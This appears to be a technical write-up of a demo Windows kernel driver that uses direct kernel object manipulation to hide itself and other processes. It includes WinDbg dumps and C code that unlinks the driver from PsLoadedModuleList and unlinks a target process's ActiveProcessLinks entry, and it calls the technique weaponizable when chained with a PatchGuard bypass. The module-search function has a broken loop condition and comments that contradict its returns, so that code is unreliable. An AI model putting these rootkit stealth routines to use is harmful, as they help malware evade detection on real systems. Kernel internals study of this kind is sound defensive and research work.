1. Introduction

This is an implementation of a simple driver which modifies kernel data structures to remove itself from the PsLoadedModuleList structure. Disclaimer: PG protects against this. Weaponizable by chaining with a PG bypass.


2. Data Structures

Understanding PsLoadedModuleList

PsLoadedModuleList is a global kernel object of type _KLDR_DATA_TABLE_ENTRY. It is the list head of a circular linked-list containing the loaded modules on the system. Example:

2: kd> ?PsLoadedModuleList
Evaluate expression: -8773737086640 = fffff805`34848150
2: kd> dt poi(fffff805`34848150) _KLDR_DATA_TABLE_ENTRY
DKOM_Demo!_KLDR_DATA_TABLE_ENTRY
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0xffffd78d`4ee49340 - 0xfffff805`34848150 ]
   ...

LIST_ENTRY Structure

We can see that information about the entry is offset to the actual LIST_ENTRY structure, which holds the addresses of the next and previous _KLDR_DATA_TABLE_ENTRY structures. If you’re not familiar, LIST_ENTRY looks like this:

2: kd> dt _List_entry
ntdll!_LIST_ENTRY
   +0x000 Flink            : Ptr64 _LIST_ENTRY
   +0x008 Blink            : Ptr64 _LIST_ENTRY

The DRIVER_OBJECT Structure

As it turns out, each driver has access to its KLDR_DATA_TABLE_ENTRY structure by its DriverObject->DriverSection member at offset 0x28. Just for completeness’ sake, the DRIVER_OBJECT structure looks like this:

2: kd> dt PDRIVER_OBJECT
DKOM_Demo!PDRIVER_OBJECT
Ptr64    +0x000 Type             : Int2B
   ...

3. Modification

Unlinking from PsLoadedModuleList

As such, one can simply access and traverse PsLoadedModuleList using this member of DRIVER_OBJECT. Additionally, directly hiding a module from the list is as simple as relinking the LIST_ENTRY structures surrounding the driver’s:

PLIST_ENTRY PrevModule = ThisModule->Blink;
PLIST_ENTRY NextModule = ThisModule->Flink;

// Replace PrevModule Flink with NextModule's address;
PrevModule->Flink = NextModule;
// Replace NextModule Blink with PrevModule's address
NextModule->Blink = PrevModule;

// point target process to itself
ThisModule->Flink = ThisModule;
ThisModule->Blink = ThisModule;

And since you have access to the driver KLDR_DATA_TABLE_ENTRY, you can check your work:

NTSTATUS FindKernelModule(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING DriverName) {
	// Logic can be similarly used for finding the PsLoadedModuleList head. ntoskrnl.exe is always the head
	PKLDR_DATA_TABLE_ENTRY pThisModule = (PKLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection;
	PLIST_ENTRY KModEntry = { nullptr };
	PLIST_ENTRY FirstEntry = pThisModule->InLoadOrderLinks.Flink;

	// https://m0uk4.gitbook.io/notebooks/mouka/windowsinternal/find-kernel-module-address-todo
	// Loop over the circular linked-list
	for (PLIST_ENTRY pListEntry = pThisModule->InLoadOrderLinks.Flink;
		(pListEntry != &pThisModule->InLoadOrderLinks) &
		(pThisModule->InLoadOrderLinks.Flink != FirstEntry);
		pListEntry = pListEntry->Flink)
	{
		// Search for the driver you're trying to hide
		PKLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(
			pListEntry, KLDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

		if (RtlEqualUnicodeString(DriverName, &pEntry->BaseDllName, true)) {
			// oops, you found it. 
			KModEntry = pListEntry;
			return STATUS_SUCCESS;
		}
	}

    // module was unlinked successfully
	return STATUS_UNSUCCESSFUL;
}

Process Hiding

This same type of unlinking behavior can be used to hide a process. In kernel mode, a process can be looked up by its ID using PsLookupProcessByProcessId:

// turn the PID into an EPROCESS pointer
PEPROCESS Process;
status = PsLookupProcessByProcessId((HANDLE)data->pid, &Process);
if (!NT_SUCCESS(status))
	break;

Where PEPROCESS represent a pointer to an EPROCESS structure like this:

2: kd> dt _EPROCESS
ntdll!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x2e0 ProcessLock      : _EX_PUSH_LOCK
   +0x2e8 UniqueProcessId  : Ptr64 Void
   +0x2f0 ActiveProcessLinks : _LIST_ENTRY
   +0x300 RundownProtect   : _EX_RUNDOWN_REF
   +0x308 Flags2           : Uint4B
... (truncated

With a pointer to the target process’s EPROCESS structure in hand, it can be scanned for the ActiveProcessLinks member. Once this member is found, hiding the process is the exact same for hiding a driver process:

// get the ActiveProcesLinks address
auto CurrentListEntry = (PLIST_ENTRY)((PUCHAR)Process + offset);

auto PrevListEntry = CurrentListEntry->Blink;
auto NextListEntry = CurrentListEntry->Flink;

// unlink the target process
PrevListEntry->Flink = NextListEntry;
NextListEntry->Blink = PrevListEntry;

// point target process to itself
CurrentListEntry->Flink = CurrentListEntry;
CurrentListEntry->Blink = CurrentListEntry;

On Windows 10 1901 build 18363, the ActiveProcessLinks member is located at offset 0x2f0. This offset changes between builds.

4. Conclusion

The full source for an example driver can be found here.

Of course, none of this is anything new:

5. References